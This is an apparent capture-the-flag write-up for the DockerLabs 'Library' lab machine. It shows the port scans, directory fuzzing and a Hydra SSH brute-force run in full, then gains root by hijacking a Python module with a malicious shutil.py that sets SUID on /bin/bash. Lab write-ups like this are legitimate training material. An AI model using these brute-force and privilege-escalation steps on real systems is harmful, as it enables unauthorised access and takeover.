> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/library.md).

# Library

## 1 - Reconnaissance

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: ports 22 and 80 are open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 22,80 -sS -Pn -sCV`

<figure><img src="/files/65UTwwWnS339GuHYPUoa" alt=""><figcaption><p>(Library) Targeted Port Scan</p></figcaption></figure>

We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`:

```
ffuf-dir () {
    ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt
}
```

we did `ffuf-dir http://172.17.0.2/FUZZ` and we found the following routes:

<figure><img src="/files/1nQi5yv2cLcKZCzyPWKR" alt=""><figcaption><p>(Library) FFUF Routes</p></figcaption></figure>

Accessing /index.php will give us this string, that could be useful later:

<figure><img src="/files/BlpKW9WFdlZGL7fXAe5S" alt=""><figcaption><p>(Library) Index.php Content</p></figcaption></figure>

## 3 - Exploitation

After exploring every route, we can't find a way in, so we will try to bruteforce with Hydra. As this string could be the password, we will use `xato-net-10-million-usernames.txt` as wordlist.

With `hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p JIFGHDS87GYDFIGD ssh://172.17.0.2` we got the credentials `carlos:JIFGHDS87GYDFIGD`

<figure><img src="/files/KjtY604qVwTXb1V9Ac55" alt=""><figcaption><p>(Library) Carlos Credentials</p></figcaption></figure>

## 4 - Privilege Escalation

After running `sudo -l` we can see that `carlos` has sudo permissions on `/usr/bin/python3 /opt/script.py`. We don't have write permissions on `/opt/script.py`, but it has `import shutil` on it, so we can hijack it.

Python check for libraries on the current directory before looking for them on `/usr/bin/python3`, so we can write a `shutil.py` containing this:

```
import os
os.system("chmod u+s /bin/bash")
```

After running `sudo /usr/bin/python3 /opt/script.py`, they will throw a lot of errors, since `shutil` is not working as intended, but we will have SUID set on `/bin/bash`. Running `/bin/bash -p` will grant us a root shell.

<figure><img src="/files/lS3jN4mID2ca70c0XBXa" alt=""><figcaption><p>(Library) Root Shell</p></figcaption></figure>

## 5 - Summary

**Initial Access:**\
Directory enumeration revealed a suspicious string in `/index.php`. Using it as a password and Hydra with a large username wordlist cracked the SSH credentials (`carlos:JIFGHDS87GYDFIGD`).

**Exploitation:**\
Logged in via SSH as `carlos` using the recovered credentials.

**Privilege Escalation:**\
`carlos` had sudo rights on `/usr/bin/python3 /opt/script.py`, which imported `shutil`. By hijacking the Python module with a malicious `shutil.py`, we set SUID on `/bin/bash` and obtained a root shell.